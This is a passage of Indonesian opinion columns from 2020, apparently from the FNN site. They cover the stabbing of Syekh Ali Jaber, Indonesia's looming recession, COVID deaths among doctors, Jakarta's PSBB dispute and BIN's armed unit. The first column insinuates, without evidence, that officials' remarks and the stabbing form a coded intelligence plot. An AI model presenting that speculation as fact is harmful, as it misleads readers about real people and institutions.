menteri yang mengatakan bahwa berpenampilan “good looking” itu adalah salah satu indikator masuknya paham radikalisme. Seperti fasih bahasa arab, hafidz Qur'an, serta berpakaian rapi dan Islami. Dan radikalisme itu adalah musuh negara. Sontak pernyataan sentimentil ini mematik kemarahan ummat. Sebuah komentar yang dianggap nyata-nyata sebagai bentuk kebencian dan permusuhan terhadap agama Islam. Meskipun akhirnya simenteri minta maaf. Namun pernyataan beliau sudah terlanjur menyakiti dan menoreh luka ummat Islam. Ketiga, selanjutnya, tak lama berselang juga keluar sebuah komentar dari salah satu petinggi institusi negeri ini, yang punya rencana untuk melibatkan para preman di barisan depan sebagai penegak disiplin covid-19. Tak ayal, komentar ini juga menuai protes dan kecaman dari banyak akademisi, praktisi dan tokoh masyarakat. Bagaimana seorang 'preman' mau dijadikan penegak disiplin di tengah masyarakat ? Apa ini tidak sama saja mengadu domba sesama masyarakat ? Kenapa tidak memberdayakan Ormas Bela Negara yang begitu banyak dan sudah terlatih? Tentu secara wibawa dan performance akan lebih diterima masyarakat dari pada preman. Karena preman dari pandangan umum itu cenderung negatif. Dan ini pasti akan menimbulkan masalah baru. Keempat, lalu muncullah insiden penikaman oleh Aldian terhadap Syekh Ali Jaber ini. Anehnya dalam hitungan jam, juga beredar photo sipenusuk di dalam akun sosial medianya dengan berbagai pose yang terkesan waras namun terlihat "style” premannya. Setelah ditelusuri, akun tersebut juga baru dan terkesan memang sengaja ditampilkan dan dikonsumsi publik. Lalu beredar juga postingan- postingan komentar dari yang mengaku tetangganya yang mengatakan sipenusuk tidak gila dan punya istri baru melahirkan. Terlepas apakah semua berita jagad sosial media itu akurat atau tidak, bagi saya fenomena symbol dan pesan-pesan tersirat dari rangkaian informasi itu yang menarik kita teliti dan cermati. Karena kalau berbicara tentang operasi dunia inteligent, semua bisa terjadi. Bahkan ada kemungkinan saling keterkaitan. Dimana itu kadang dikomunikasikan melalui symbol dan kata sandi tertentu. Kelima, kalau kita hubungkan antara kata “good looking” itu adalah symbol kelompok radikal, preman sebagai penegak kedisiplinan covid-19 (eksekutor), lalu insiden penusukan terhadap ulama, ini ibarat rangkaian sebuah symbol (kata sandi) perintah dari user kepada agen lapangan. Good looking adalah symbol dari target, yaitu kelompok yang radikal, preman adalah symbol dari eksekutor. Maka terjadilah sipreman menusuk “good looking” ulama atau da'i. Keenam, ada banyak kemungkinan motif dan orientasi dari skenario ini. Yaitu bisa berupa teror ancaman terhadap ulama atau da'i yang beroposisi terhadap penguasa. Bisa juga upaya provokasi adu domba, baik itu sesama ummat Islam, maupun ummat dengan aparat. Namun bisa juga upaya memancing reaksi ummat Islam agar bertindak liar atau radikal, kemudian tindakan ini digoreng dalam rangka amunisi stigmanisasi radikal, atau bisa juga pengalihan isu. Terakhir bisa juga berupa membangun image bahwa Islam dimusuhi dan memberi sugesti terhadap kelompok pembenci Islam untuk melakukan hal yang sama dimanapun berada. Yaitu untuk menghadapi kelompok Islam yang dicap radikal cukup dilawan menggunakan tangan preman. Mirip pola zaman Belanda menggunakan tangan "centeng" untuk memerangi pejuang pribumi. (Mirip film Si Pitung). Kalau kita berbicara tentang dunia inteligent, maka segala kemungkinan dan keterkaitan itu ada dan bisa terjadi. Dunia inteligent itu bisa berupa by order dari "state" atau "non-state" sebagai user terhadap agen atau elemen di bawahnya. Dan untuk menelusuri keabsahan sebuah operasi inteligent, juga harus menggunakan operasi kontra inteligent. Tidak bisa pakai cara normatif "kijang 1, kijang 2, target bergerak... grzkk..grzkk..". Untuk itulah, kita sebagai masyarakat civil society, khususnya ummat Islam Indonesia harus hati-hati menyikapinya. Jangan terlalu reaktif dan mudah terpancing. Yang bisa menggiring kita semua masuk dalam perangkap skenario inteligent. Kitapun tak bisa menyalahkan siapa-siapa di negeri ini. Karena ibarat dalam sebuah rumah, sebuah operasi inteligent bisa membuat rumah dan kamar rahasia lagi dalam rumah itu. Di dalam sebuah institusi negara sekalipun bisa terjadi infiltrasi inteligent dari pihak tertentu (invisible hand), yang mereka sendiri kadang tidak sadar (tidak tahu) sedang dimanfaatkan. Artinya, yang paling utama ditingkatkan adalah kewaspadaan. Pahami akar masalah bahwa ada motif provokasi dan teror di sini. Lalu meningkatkan sinergitas dengan para aparat dan pihak terkait yang masih merah-putih dan profesional, untuk upaya cegah dini dan tangkal dini. Juga untuk menemukan formulasi agar segala skenario inteligent apapun itu motifnya gagal di tengah jalan. Namun, untuk prosesi hukum terhadap sipelaku, tetap kita minta, dukung, dan desak aparat kepolisian untuk memprosesnya secara hukum. Membongkar siapa dalang dan pelakunya. Meskipun berat dan semoga akan maksimal. Tidak seperti kejadian-kejadian sebelumnya. Semoga ke depan, semua insiden ini tidak terulang kembali. Ada saatnya nanti semua akan terbongkar dengan sendirinya kepada publik. Siapa dalang dan apa motif dari insiden ini. Karena dalam sejarah, modus dan motif penganiayaan terhadap para ulama ini juga pernah terjadi. Bahkan lebih sadis dan kejam di tanah air ini. Sejarah kebiadaban yang dilakukan para kader PKI tahun 1948 dan tahun 1965. Apakah semua ini berhubungan? Dan ada keterkaitannya dengan hari ini? Wallahu'alam bishawab. Kita tidak tahu. Biarkan waktu yang akan menjawabnya. Mari kita jaga Ulama kita. Jaga para tokoh pejuang kita. Dan mari kita jaga Indonesia. Salam Indonesia Jaya. Penulis adalah Pemerhari Militer dan Sosial Budaya.

Jangan Membual, Resesi Ekonomi Menghitung Hari

Optimisme yang terlalu tinggi juga akan menjadi bahan olok-olokan sebagian masyarakat. Coba kita buka video, Joko Widodo yang menyebut di kantongnya ada dana Rp 11.000 (baca : sebelas ribu triliun rupiah). Ini angka yang luar biasa. by Mangarahon Dongoran Jakarta FNN - Senin (14/9). Besok, sudah 15 September 2020. Itu berarti, sisa bulan ini tinggal 15 hari lagi. Tidak ada bedanya, jumlah tanggal dalam bulan September tahun-tahun sebelumnya, maupun tahun-tahun mendatang. Yang membedakannya hanya pada tanggal yang jatuh berbeda dengan harinya. September 2020, tinggal hitungan hari. Banyak peristiwa yang terjadi di bulan ini. Gerakan 30 September 1965 Partai Komunis Indonesia atau G30S/PKI terjadi di penghujung bulan ini. Tujuh jenderal diculik dan ditebas oleh PKI yang didalangi oleh Kolonel Untung dari Pasukan Cakrabirawa (pasukan pengawal presiden waktu itu). Di bulan September ini juga ada peristiwa yang mengguncang dunia. Tanggal 11 September 2001, gedung WTC di New York disambar pesawat yang oleh Amerika Serikat dilakukan teroris Alqaeda. Saya tidak mau terlalu jauh ke peristiwa yang sudah lalu di bulan September ini, terutama yang terjadi di negara Pancasila yang saya cintai dan banggakan ini. Yang ingin saya sampaikan adalah bulan September 2020 ini bukan lagi September Ceria seperti lagu Vina Panduwinata. September ceria harus kita lupakan. Sebab, September 2020 ini menjadi bulan penentu bagi perekonomian Indonesia, yang sudah lama melorot, kemudian mengalami krisis, terutama akibat Corona Virus Disaesa 2019 (Covid-19). Kuartal II-2020, pertumbuhan ekonomi minus 5,30 persen. Pertumbuhan ini menjadi tanda akan terjadinya resesi ekonomi nasional, menyusul resesi ekonomi yang sudah menimpa negara-negara maju, seperti Jepang, Amerika Serikat dan negara-negara di kawasan Eropa. Demikian juga halnya dengan ekonomi Singapura dan Malaysia yang sudah dua di kuartal minus (kuartal I dan II/Januari sampai Juni). Merujuk pada keadaan ekonomi yang dialami negara-negara mapan, sangat sulit bagi Indonesia keluar dari jurang resesi. Sangat sulit juga perekonomian Indonesia segera pulih. Saling menyalahkan antara elit bangsa ini, terutama yang duduk di pemerintahan akan semakin mempersulit keadaan, baik secara ekonomi, politik, sosial dan keamanan. Tidak ada lagi yang akan bisa menyelamatkan ekonomi Indonesia dari resesi. Walaupun diguyur dana Rp 800 triliun, ekonomi Indonesia pasti mengekor ke negara-negara yang sudah lebih awal mengumumkan resesi. Torehan ekonomi di kuartal II-2020 yang terkontraksi minus 5,3 persen menjadi sinyal peringatan bagi pemerintah. Sebab jika hal serupa terjadi di kuartal III-2020 ekonomi Indonesia resmi resesi. Presiden Joko Widodo (Jokowi) membahas hal itu dalam kunjungannya ke Jawa Barat bulan Agustus lalu. Di depan pemimpin daerah di Jabar, Jokowi mengingatkan untuk berhati-hati dalam menjaga roda ekonomi. "Kita tahu kuartal I-2020 masih tumbuh 2,97 persen. Negara lain sudah banyak yang negatif kita masih tumbuh positif 2,97 persen. Tapi di kuartal kedua kita sudah masuk minus, dari 2,97 persen positif langsung minus 5,32 persen. Ini hati-hati. Tadi di Jawa Barat juga di kuartal kedua sudah berada pada posisi minus 5,9 perswn. Hati-hati, tapi saya optimistis di kuartal ketiga kita akan lebih baik dari yang kuartal kedua. Kita harapkan kita ingin tumbuh tapi ini memang perlu kerja keras," ujarnya dilansir melalui tayangan langsung dari akun Youtube Sekretariat Presiden, Selasa (11/8/2020). Oleh sebab itu, lanjut Jokowi, dia meminta kepada para gubernur, bupati dan walikota di Jabar untuk segera merealisasikan anggaran belanjanya. Sebab dia mencatat dari seluruh belanja pemerintah daerah sekitar Rp 170 triliun masih tersimpan di bank. Tidak ada lagi yang akan bisa menyelamatkan ekonomi Indonesia dari resesi. Walaupun diguyur dana Rp 800 triliun, ekonomi Indonesia pasti mengekor ke negara-negara yang sudah lebih awal mengumumkan resesi. Dalam dua kuartal 2020 (Januari sampai Juni) ekonomi Jepang, misalnya sudah minus 2,2 persen. Di saat banyak negara sudah mengumumkan resesi, Indonesia masih saja berkutat pada angka-angka optimis. Presiden Joko Widodo pada Agustus 2020 masih optimis pertumbuhan ekonomi kuartal III akan lebih baik dibandingkan dengan kuartal II. Bisa jadi pertumbuhan kuartal III lebih baik dari pertumbuhan kuartal II, walau sama-sama minus. Menteri Keuangan Sri Mulyani memperkirakan pertumbuhan ekonomi kuartal III ini berada pada kisaran minus 2 sampai 0 (nol) persen. Bank Indonesia juga mengaminya. Hanya Badan Pusat Statistik (BPS) yang belum mengeluarkan perkiraan. Sebab, BPS akan mengeluarkan angka pasti pertumbuhan kuartal III, awal Obtober nanti. Bahkan, seluruh lembaga-lembaga keuangan intermasional, mulai dari Bank Dunia, Bank Pembangunan Asia (ADB), Dana Moneter Internasional (IMF) sudah mengeluarkan perkiraan bahwa ekonomi Indonesia tahun 2020, minus. Jika secara total tahun ini minus, itu artinya resesi panjang atau paling tidak krisis ekonomi yang sangat lama dan berat. Sri Mulyani mengatakan, pemerintah mematok angka pertumbuhan negatif 0,4 persen sampai 1,0 persen di 2020. Angka itu lebih rendah dari proyeksi awal yang negatif 0,4 persen sampai 2,3 persen. Pemerintah akan menggenjot ekonomi pada kuartal III dan IV agar sampai akhir tahun tetap tumbuh positif. Akan tetapi, apakah mudah menggerakkan ekonomi dari negatif ke positif. Apalagi memasang angka positif dengan angka yang bombastis. Sangat tidak masuk akal. Ingat, krisis ekonomi 1998 dan berlanjut hingga 1999. Bahkan, tahun 2000 pun masih berat. Padahal, pemicunya hanya karena melorotnya mata uang Thailand, Bath dan virusnya hanya menyebar ke beberapa negara, termasuk Indonesia. Hanya saja, pemulihan ekonomi Indonesia lebih lama karena ditumpangi persoalan politik dan huru-hara yang menyebabkan Presiden Soeharto lengser. Cukup Rp 11.000 Triliun Joko Widodo dan jajarannya, terutama yang berada di barisan ekonomi hampir selalu menyodorkan angka dan kata-kata yang terkadang kurang masuk akal. Optimisme harus dibangun dan digerakkan oleh pemimpin di negeri ini. Akan tetapi, optimisme yang berlebihan tidak baik dan tepat, karena rakyat akan semakin tidak percaya. Optimisme yang berlebihan cenderung sebagai bualan (saya tidak mau menyebut kebohongan). Optimisme yang berlebihan adalah sebuah ilusinasi yang akan membuat arah bangsa ini semakin tidak jelas. Optimisme yang terlalu tinggi juga akan menjadi bahan olok-olokan sebagian masyarakat. Coba kita buka video, Joko Widodo yang menyebut di kantongnya ada dana Rp 11.000 (baca : sebelas ribu triliun rupiah). Ini angka yang luar biasa. Jika dana itu benar, sangat lebih dari cukup untuk pemulihan ekonomi. Katanya, agar ekonomi positif di kuartal III, cukup dengan dana Rp 186 triliun. Ada yang sebut Rp 800 triliun. Ayo dong Pak Presiden, keluarkan uang di kantong itu. Kalau tidak ada, Bapak mestinya jangan berhalusinasi, membual dan... Atau kata Bapak, racun kala jengking yang harganya mahal, Rp 145 miliar per liter. Apakah Bapak sudah mengajak rakyat beternaknya? Atau itu hanya halusinasi, menutupi ketidakbecusan dalam mengurus negara, terutama dari sisi ekonomi? Ah, sudahlah. Terlalu banyak mimpi yang ditaburkan kepada rakyat yang semakin susah. Sebagian rakyat sudah tidak berdaya menghadapi ekonomi yang semakin ruwet. Sebagian rakyat kini sudah mengalami resesi, bukan lagi krisis ekonomi. Resesi, karena mereka di PHK, resesi karena tidak ada lowongan kerja baru. Kalau awal Oktober nanti BPS mengumumkan pertumbuhan ekonomi Kuartal III tahun 2020 minus, itu hanya penguat bahwa telah terjadi resesi ekonomi nasional. Andaikan saja pertumbuhan ekonomi nol koma sekian (0 koma sekian) saja, kita sudah resesi. Artinya beban hidup sebagian besar masyarakat semakin berat. Pengangguran semakin menggurita. ** Penulis adalah Wartawan Senior FNN.co.id.

Sebagai Garda Terdepan, Keselamatan Dokter dan Nakes Harus Dijaga

by Mochamad Toha Surabaya FNN - Senin (14/09). Jangan pernah meremehkan Virus Corona atau Covid-19 lagi. Para dokter dan nakes yang sudah pakai Alat Pelindung Diri (APD) lengkap saja masih bisa “ditembus” Covid-19. Tidak hanya itu. Padahal, asupan beragam vitamin dan suplemen pun sudah mereka minum. Apalagi kita rakyat biasa yang bisa makan pun sudah sangat bersyukur. Karenanya tetap jaga protokol kesehatan. Pakai masker pun belum menjamin tidak terpapar Covid-19. Lihat saja di Radio Suara Surabaya. Sebagian awaknya terpapar Covid-19 meski bermasker. Begitu pula di MNC Group. Ada sebagian awaknya yang sudah terpapar Covid-19. Padahal, mereka juga telah menerapkan protokol kesehatan yang sangat ketat. Apa yang sebenarnya terjadi sekarang ini? Faktanya, Covid-19 tidak pandang bulu dalam memilih sasaran. Simak saja tulisan Okezone.com, Sabtu (12 September 2020 14:14 WIB). Jumlah dokter yang meninggal akibat Covid-19 terus bertambah. Hingga saat ini, total sudah ada 115 dokter yang meninggal dunia akibat terpapar virus corona. “Total saat ini 115 (dokter yang meninggal dunia),” kata Ketua Tim Mitigasi Pengurus Besar Ikatan Dokter Indonesia (PB IDI) Adib Khumaidi saat dikonfirmasi, Sabtu (12/9/2020). Dalam diskusi Polemik MNC Trijaya, Adib Khumaidi membeberkan kondisi yang sangat memprihatinkan terhadap para dokter di Indonesia. Bahkan, bukan hanya dokter, sejumlah tenaga kesehatan ;ainnya juga kondisinya memprihatinkan. “Jadi kenaikan, lonjakan angka kesakitan dan angka kematian yang di wilayah-wilayah kemudian juga terdampak kepada tenaga medis dan tenaga kesehatan ini masih dari sudut pandang dokternya,” ungkapnya. “Dan mungkin nanti di teman-teman perawat dan tenaga kesehatan yang lain juga ada data yang mungkin sama dengan kondisi yang ada di medis,” lanjut Adib. Adib menyatakan, saat ini PB IDI bersama dengan organisasi kesehatan sangat serius dalam melakukan berbagai upaya untuk membentuk pertahanan terhadap dokter dan nakes. Hal itu dilakukan agar tidak ada lagi dokter maupun nakes yang meninggal. Setidak-tidaknya ada 181 tenaga kesehatan yang meninggal dunia, dengan rincian 112 dokter dan juga 69 perawat. Dan dengan angka ini, Indonesia berada di jajaran negara dengan angka kematian tenaga kesehatan yang terbesar di dunia, Melansir Tempo.co, Minggu (6/9/2020), Direktur Eksekutif Amnesty International Indonesia Usman Hamid menyebut angka kematian nakes yang gugur akibat Covid-19 di Indonesia, masuk daftar salah satu yang tertinggi di dunia. Catatan Amnesty International Indonesia, setidaknya ada 181 tenaga kesehatan di Indonesia yang meninggal dunia selama 6 bulan pandemi. Mereka terdiri dari 112 orang dokter dan 69 orang perawat. “Setidak-tidaknya ada 181 nakes yang meninggal dunia, dengan rincian 112 dokter (terakhir mencapai 115 dokter) dan juga 69 perawat. Dan dengan angka ini, Indonesia berada di jajaran negara dengan angka kematian tenaga kesehatan yang terbesar di dunia,” kata Usman. Mantan Direktur KONTRAS tersebut menyatakan hal itu saat acara peluncuran pusara digital bagi tenaga kesehatan, Sabtu (5 September 2020). Usman menuturkan, Amnesty International mencatat setidaknya ada 7.000 nakes meninggal akibat terinfeksi Covid-19 di seluruh dunia. Negara dengan jumlah tenaga kesehatan yang wafat akibat Covid-19 tertinggi nomor wahid adalah Meksiko dengan jumlah kematian 1.320 orang. Kemudian, Amerika Serikat 1.077, India 573 orang, Brazil 324 orang, dan Afrika Selatan 240 orang. Kemudian Indonesia dengan 181 orang (plus 3 dokter). Ratusan jiwa nakes yang meninggal ini, kata Usman, bukan sekadar angka yang bisa dilewatkan begitu saja. Ia berharap pemerintah bisa lebih memperhatikan keselamatan para nakes dengan mencukupi kebutuhan mereka akan alat pelindung diri atau APD dan kebutuhan akan fasilitas kesehatan lainnya. Dalam tulisan Kompas.com, Jum’at (11/09/2020, 11:40 WIB), sebelumnya PB IDI menyebut, sudah 109 dokter meninggal dunia sejak pandemi Covid-19 melanda Tanah Air pada 2 Maret 2020. Jawa Timur menjadi provinsi dengan jumlah dokter meninggal dunia terbanyak. Menurut Anggota Bidang Kesekretariatan, Protokoler dan Public Relations PB IDI Halik Malik, dari 109 dokter yang meninggal dunia, tujuh orang merupakan guru besar, sedangkan 53 orang lainnya merupakan dokter umum. “Sebannyak 49 orang adalah dokter spesialis,” ungkap Halik, seperti dilansir Kompas.com, Jumat (11/9/2020). Menurutnya, masih tingginya kasus penyebaran virus corona (Covid-19) di masyarakat mengakibatkan risiko yang harus dihadapi dokter di lapangan juga tinggi. Pasalnya, dokter dan tenaga medis merupakan garda terdepan dalam membantu pemerintah menangani persoalan Covid-19. Data Satuan Tugas Penanganan Covid-19 menunjukkan, akumulasi kasus positif Covid-19 mencapai 207.203 kasus hingga 10 September 2020, setelah bertambah 3.861 orang dalam sehari. Penambahan kasus harian yang dicatat kemarin dicatat sebagai rekor tertinggi sejak kasus pertama muncul. “Perkembangan situasi pandemi di berbagai wilayah, itu semua mempengaruhi kondisi para petugas medis di lapangan termasuk dokter yang kita ketahui masih aktif melayani sepanjang pandemi ini,” ucapnya. Berdasarkan sebaran, ia menambahkan, terdapat 29 dokter yang meninggal dunia di Jawa Timur. Provinsi pimpinan Gubernur Khofifah Indar Parawansa itu menempati urutan kedua sebagai provinsi dengan penyebaran kasus Covid-19 terbanyak di Indonesia: 37.093 kasus. Sementara, DKI Jakarta yang tercatat dengan sebaran kasus tertinggi, yakni 50.671 kasus, diketahui terdapat 13 dokter yang meninggal dunia atau ketiga terbanyak setelah Sumatera Utara (20 dokter). Sebuah resume kesimpulan dan rekomendasi Giant Webinar 6 bertema “Mengungkap Misteri Kematian Dokter Akibat Covid-19 Di Rumah Sakit” beredar di WA Group. Dengan Host: dr. Ita Roswita, MARS; Moderator: dr. Emil Ibrahim, MARS. Pembicara: Prof Meinaldi (PM) Guru besar FKUI; dr. Kuntjoro (DK) Ketua PERSI dan dr. Joni Wahyuhadi (JW) Direktur RS dr. Sutomo Surabaya. Waktu:12.45 - 03.20 Ringkasan materi: Telah dibahas aspek patogenesa Covid-19 oleh Prof Meinaldi dan Joni Wahyuhadi. Menurut Joni, perlu ditekankan, Covid-19 bukan Flu Biasa. Kata Prof Meinaldi, itu merupakan masalah klinis. “Hasil otopsi memperlihatkan kematian disebabkan oleh kerusakan paru dan vaskular,” ujar Prof Meinaldi. Di RS Persahabatan mortalitas Dokter tercatat antara 10 Maret (pertama) dan terakhir 5 Mei 2020 ada 9 orang. Menurut Prof Meinaldi, komorbid penyerta: Hipertensi, DM, CKD, Asma, Ca dan CVD serta geriatric. Mengutip Detik.com, di Jatim, sampai 21 Agustus 2020, jumlah kematian dokter di Indonesa sudah 95 orang. Ada 65% kematian dokter karena Covid-19 di Pulau Jawa. Sebanyak 30% diantaranya dari Jatim. Komposisi dokter yang meninggal terdiri dari dokter umum, dokter spesialis, dokter gigi, dan dokter hewan. Kematian yang terbanyak dialami oleh dokter umum, bedah umum, psikiater, dan dokter spesialis penyakit dalam. “Di Jatim 88% dokter yang meninggal bukan DPJP yang merawat Covid-19,” ungkap Joni. Menurut dr. Kuntjoro, dampak utama kematian nakes adalah kapasitas pelayanan menurun dengan dampak morbiditas dan mortalitas masyarakat meningkat. Adapun asumsi penyebab kematian, menurut dr. Kuntjoro dan Prof Meinaldi diantaranya: Tidak mengetahui pasien merupakan pembawa virus Covid-19; Tidak mengggunakan atau tidak adekuat penggunaan APD; Terkait dengan aktivitas sosial di luar Faskes; Kelelahan; Desain fisik Faskes; Klinik mandiri; Pemahaman diri dan disiplin diri; Kondisi tubuh: Jenis kelamin, Usia, Gemuk, Gaya hidup, Komorbid; Zonasi tak diterapkan dengan benar (bangunan zona merah); Pengaturan kerja tak dilakukan. “Sampai saat ini belum dilakukan audit kematian pada dokter, sehingga penyebab utama belum bisa dipastikan,” ungkap dokter dalam forum tersebut. Kesimpulan: 1. Menghentikan pandemi covid harus dengan memutus rantai penularan; 2. Kematian dokter dapat akibat sikap pribadi maupun sbg korban sistem; 3. Kematian Nakes akibat Covid-19 telah menjadi masalah penting. Karena posisi strategis dari nakes, efek domino yang menyertai, utamanya pada masyarakat. 4. Berbagai kebijakan yang ada dan yang telah diusulkan masih terbatas pada upaya untuk mengurangi penularan ke nakes, belum ke arah mengurangi kematian nakes akibat Covid-19. Rekomendasi: 1. Faskes: Fasilitas kesehatan dan RS harus menjadi bagian dari pemutusan rantai penularan; RS tetap harus “Balancing Act”, yaitu perawatan untuk pasien Covid-19 tetap berjalan bersamaan pelayanan pasien umum juga berjalan dengan resiko penularan seminimal mungkin; RS harus melakukan Safety Protocol yang lebih ketat. 2. Aspek Perilaku: a. Meningkatkan kepedulian Nakes terhadap kondisi dirinya sendiri; b. Waspada dan jangan mengabaikan adalah sikap kunci untuk keselamatan semua; c. Dokter harus menjadi contoh disiplin dalam penanganan covid yang benar. 3. Aspek peraturan: a. Menjadikan isu penurunan angka kesakitan dan kematian nakes karena Covid-19 menjadi salah satu prioritas nasional; b. Menyusun dan menjalankan Covid-19 Morbidity and Mortality Reduction Program (C-MMRP) untuk nakes secara nasional. 4. Aspek tenaga: a. Dokter adalah tenaga strategis dalam penanganan Covid; b. Dokter yang memilik comorbid, usia lanjut, bukan DPJP Covid dan bekerja di luar RS Rujukan Covid lebih berisiko dalam mortalitas dan morbiditas Covid-19. “Untuk itu perlu perhatian khusus,” tegas para dokter. Termasuk, apakah Pemerintah sudah melengkapi seluruh dokter dan nakes dengan APD? Penulis adalah Wartawan Senior FNN.co.id

PSBB: Obat, Madu, dan Racun di Tangan

by Hersubeno Arief Jakarta FNN – Senin (14/09). Dalam beberapa hari terakhir Presiden Jokowi dihadapkan pada pilihan yang sangat-sangat sulit. Terus meningkatnya jumlah korban pandemi. Desakan berbeda dari pendukung dan kelompok kepentingan di sekitarnya, membuatnya sangat bingung mengambil keputusan.Seperti buah simalakama: Dimakan mati bapak. Tidak dimakan mati emak. Jika dituruti, dia akan ditinggalkan pendukungnya. Tidak dituruti dia bakal ditagih dan juga ditinggalkan para cukongnya. Sebuah pilihan yang sungguh sangat sulit. Persis seperti pernah dikatakan Jokowi “Ruwet….ruwet…..ruwet……” Kebingungan Jokowi sangat terlihat pada rencana Gubernur DKI Anies Baswedan menarik rem darurat dan memberlakukan PSBB total di Jakarta. Ahad (13/9) mantan Duta Besar RI di Polandia Peter F Gontha membocorkan surat bos perusahaan rokok Djarum Budi Hartono kepada Presiden Jokowi.Dalam suratnya, orang terkaya di Indonesia itu secara tegas menolak rencana PSBB total di DKI. Budi Hartono mengutip data-data menunjukkan warga yang terinfeksi di Jakarta terus meningkat, kendati sudah dilakukan PSBB. Agaknya Budi lupa atau pura-pura tidak tahu bahwa pada awal pandemi, Anies mengusulkan lockdown. Bukan PSBB. PSBB adalah keputusan pemerintah pusat. Mereka lebih khawatir harus menanggung ongkos dari kebijakan tersebut. Di luar itu pemerintah juga masih lebih mengkhawatirkan ambruknya ekonomi ketimbang jatuhnya ribuan nyawa rakyat. Pada hari yang sama, WA mantan Ketua Umum PP Muhammadiyah Syafii Maarif kepada Presiden Jokowi juga bocor ke publik. Kepada Jokowi, anggota Badan Pembinaan Idiologi Pancasila (BPIP) mengkhawatirkan tingginya jumlah dokter yang tewas karena Covid-19. Salah satu pendukung utama Jokowi itu meminta agar Menkes dan jajarannya diperintahkan segera bertindak. Menghentikan angka kematian dokter dan tenaga kesehatan. Meski tidak menyebut secara spesifik agar Jokowi mengutamakan penanganan kesehatan, Syafii jelas sangat khawatir. Dia bahkan menyinggung kemungkinan negara oleng bila sikap abai itu diteruskan. Pilihan sulit Desakan Budi Hartono dan Syafii Maarif yang berbeda kepentingan, membuat Jokowi dalam dilema besar. Kepada para menterinya Jokowi sudah secara jelas —tapi bukan tegas — agar lebih mengutamakan kesehatan ketimbang ekonomi. Namun ucapan itu bisa diartikan hanya sekadar public relation, hanya lips service. Meminjam istilah anak-anak muda sekarang “utamakan kesehatan, tapi boong. ”Terbukti ketika Anies Baswedan berniat menarik rem darurat, dia diserang oleh para menteri dan beberapa kepala daerah di sekitar Jakarta. Narasi yang dibangun senada. Seperti sebuah orkestrasi besar. Kebijakan Anies menghancurkan ekonomi nasional. Konduktor orkestrasi besar itu tak tanggung-tanggung. Langsung dipimpin oleh Menko Perekonomian Airlangga Hartarto. Desakan untuk mengutamakan kesehatan, termasuk WA dari Syafii Maarif sesungguhnya obat. Pahit, tapi Insya Allah akan menyehatkan. Sebaliknya iming-iming pertumbuhan ekonomi seperti dinyatakan bos Pabrik rokok Budi Hartono adalah racun disalut madu. Kelihatannya manis, tapi dampaknya sangat mematikan. Bagaimana Jokowi menyikapinya? Kita bisa membacanya dari keputusan Anies Baswedan. Jelang pemberlakuan PSBB total, Anies mendapat tekanan keras dari para punggawa Jokowi di kabinet. Jalan tengahnya kompromi. Kebijakan PSBB total menjadi PSBB diperlonggar. Keputusan Anies adalah dejavu. Persis seperti tarik menarik pada awal pandemi. Anies menginginkan lockdown. Pemerintah pusat maunya PSBB. Kita sudah melihat hasilnya sekarang. Jumlah korban terus meningkat. Kita juga belum tahu kapan masa puncak dan berharap kemudian melandai. Di media, Walikota Bogor Bima Arya Sugianto, salah satu pendukung Jokowi hanya bisa meratap dan menyesali. “Kalau saja enam bulan lalu, lima bulan lalu, atau tiga bulan pertama, serempak presiden sampaikan nomor satu kesehatan, kita lockdown semua, luar biasa itu,” kata Bima dalam sebuah diskusi di Jakarta. Sudah sangat jelas, Jokowi lebih memilih tetap mengutamakan pertumbuhan ekonomi. Lebih tepatnya mengakomodasi kepentingan para taipan dan korporasi besar. Bukan kesehatan rakyat. Jokowi lebih memilih racun bersalut madu, ketimbang obat pahit yang menyehatkan. Seperti Bima Arya kita tinggal bisa berandai-andai. Kalau saja, andai saja semua mulai siuman seperti Buya Syafii Maarif. End Penulis adalah Wartawan Senior FNN.co.id

Salah Kaprah BIN & Ancaman Pidana

by M. Rizal Fadillah Bandung FNN – Senin (14/09). BIN adalah Badan Intelijen Negara yang bertugas mencari data, mengolah, menganalisis dan mengalokasikan info atau analisisnya kepada penyelenggara Negara seperti Presiden, Kementrian, atau Lembaga Pemerintah Non Kementerian lain yang berkompeten dan berkepentingan. BIN bukan lembaga Kepolisian dan Ketentaraan yang bersandarkan pada kekuatan fisik atau persenjataan. Anehnya BIN di era Pemerintahan Jokowi justru menunjukkan pergeseran paradigma. Di masa pandemi Covid-19 ini, lucunya BIN seperti lompat ke kiri kanan, sehingga urusan penyemprotan desinfektan di Bandara juga pernah di bawah kendalinya. Yang ramai dibicarakan akhir-akhir ini adalah saat BIN pamer pasukan khusus yang bersenjata lengkap. Pasukan Rajawali sebutannya. Kemunculan tiba-tiba pasukan bersenjata lengkap seperti Brimob atau Densus, bahkan Kopasus ini tentu saja mengejutkan. Tampilannya seperti sulap saja "ujug-ujug" Abrakadabra atau Bim Salabim. Itu terjadi karena di arena BIN menjadi Bin Salabin. Pamer aksi di depan petinggi berbagai Angkatan tersebut, dalam rangka Inaugurasi peningkatan statuta Sekolah Tinggi Intelijen Negara (STIN) di Sentul Bogor Jawa Barat. Kontroversi tentu saja terjadi. Persoalan utama adalah apakah layak atau haruskah BIN memiliki pasukan khusus bersenjata lengkap untuk pelaksanaan tugas operasinya. Adakah dasar hukumnya? Jika tidak ada dasar hukumnya, maka apa yang menjadi konsekuensi hukum yang diakibatkannya? Semua tata kelola organisasi BIN harus mengacu pada UU Nomor 17 tahun 2011 tentang Intelijen Negara. Tidak bisa hanya berdasarkan kemauan dan keinginan pimpinan BIN semata. BIN sebagai institusi negara, tidak bisa diselenggaran dengan suka-suka hati pimpinannya. Harus berdasarkan undang-udang. Bisa ngawur jadinya. Dan itu berbahaya. Prinsip kerja BIN adalah kerahasiaan tingkat tinggi. Segala kekuatan yang dimiliki BIN tidak boleh diketahui umum. Asasnya adalah profesionalitas, kerahasiaan, kompartementasi, koordinasi, integritas, netralitas, akuntabilitas, dan obyektivitas (vide Pasal 2 UU Nomor 17 Tahun 2011). Adapun tujuan intelijen negara bukan berbasis pada pengerahan kekuatan bersenjata. Melainkan untuk "mendeteksi, mengidentifikasi, menilai, menganalis, menafsirkan, dan menyajikan intelijen dalam rangka peringatan dini untuk mengantisipasi berbagai ancaman terhadap negara" (vide Pasal 5). Sudah pasti setiap orang atau badan hukum dilarang membuka dan/atau membocorkan rahasia intelijen. Dan atas pembocor tersebut, dapat dikenakan pidana, dengan ancaman hukman sepuluh tahun penjara dan/atau denda 500 juta rupiah. Menunjukkan atau memamerkan kekuatan dapat dikualifikasi membocorkan kekuatan yang dipunyai oleh BIN. Seperti "fasilitas khusus, alat peralatan dan perlengkapan khusus, dukungan dan atau personel intelijen negara". Hal ini 